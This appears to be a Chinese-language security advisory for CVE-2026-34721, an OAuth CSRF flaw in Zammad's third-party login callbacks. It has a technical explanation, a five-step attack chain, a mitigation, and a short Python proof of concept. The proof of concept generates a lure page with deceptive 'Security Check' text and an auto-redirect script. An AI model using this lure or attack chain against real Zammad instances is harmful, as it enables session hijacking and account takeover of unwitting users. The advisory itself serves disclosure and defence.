IPBUF安全漏洞报告
English
CVE-2026-34721 CVSS 6.5 中危

CVE-2026-34721 Zammad OAuth CSRF漏洞

披露日期: 2026-04-08

漏洞信息

漏洞编号
CVE-2026-34721
漏洞类型
CSRF
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Zammad

相关标签

CSRFOAuthZammad认证绕过Web安全

漏洞概述

Zammad是一款广泛使用的开源Web帮助台系统。在7.0.1和6.5.4之前的版本中,其Microsoft、Google及Facebook第三方登录集成的OAuth回调端点存在安全缺陷。该端点未能正确验证CSRF状态参数,导致系统容易受到跨站请求伪造攻击。攻击者可利用此漏洞诱导用户进行非预期的操作,从而在未经授权的情况下劫持用户会话或获取系统中的敏感信息。

技术细节

该漏洞的核心原因在于Zammad在实现OAuth 2.0授权码模式时,未严格遵守安全规范,未在回调阶段对`state`参数进行校验。OAuth 2.0协议强制要求客户端生成一个随机的、不可猜测的`state`参数,并在发起授权请求时发送给认证服务器,随后在回调时比对该参数,以防止CSRF攻击。在Zammad受影响版本中,攻击者可以构造恶意链接,诱导受害者点击发起OAuth授权流程。当受害者完成身份验证并重定向回Zammad时,由于服务端未验证`state`参数的一致性,攻击者可以利用受害者的授权凭证绑定自己的账户,或者通过劫持授权码的方式登录受害者的账户。尽管攻击需要用户交互(UI:R),且未直接影响完整性和可用性,但机密性风险极高(C:H)。

攻击链分析

STEP 1
1. 侦察与准备
攻击者发现目标使用的是存在漏洞的Zammad版本(< 7.0.1 或 < 6.5.4),并确认其启用了Microsoft、Google或Facebook的OAuth登录功能。
STEP 2
2. 构造恶意链接
攻击者构造一个指向Zammad OAuth发起端点的URL。由于漏洞在于state参数缺失,攻击者无需预先知道有效的state值。
STEP 3
3. 社会工程学诱导
攻击者通过电子邮件或即时通讯工具将恶意链接发送给目标受害者,诱导其点击。
STEP 4
4. 用户交互与授权
受害者点击链接,跳转至OAuth提供商(如Microsoft)进行登录认证,并同意授权。
STEP 5
5. 回调处理与会话劫持
OAuth提供商将授权码回调至Zammad。由于Zammad未验证state参数,攻击者利用此流程,将受害者的身份与攻击者控制的Zammad会话关联,或者直接登录受害者的账户。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept (PoC) for CVE-2026-34721 # This PoC demonstrates the concept of exploiting OAuth CSRF due to missing state validation. # An attacker would host this HTML to trick a user into initiating an OAuth flow. import html def generate_poc_page(target_domain): # This is a simulated payload. In a real attack, the 'redirect_uri' would point to # the vulnerable Zammad instance's callback endpoint. # The vulnerability lies in the lack of 'state' parameter validation. exploit_html = f""" <html> <body> <h2>Security Check</h2> <p>Please click below to verify your account:</p> <!-- Malicious link initiating OAuth without a valid state or binding attacker's session --> <a href="https://{target_domain}/auth/sso/microsoft">Login with Microsoft</a> <script> // Auto-trigger to maximize success rate window.location.href = "https://{target_domain}/auth/sso/microsoft"; </script> </body> </html> """ return exploit_html if __name__ == "__main__": target = "vulnerable-zammad.example.com" print(f"Generating PoC for {target}...") print(generate_poc_page(target))

影响范围

Zammad < 7.0.1
Zammad < 6.5.4

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用Microsoft、Google和Facebook的OAuth登录功能,强制用户仅使用本地账户密码登录,直至完成补丁更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表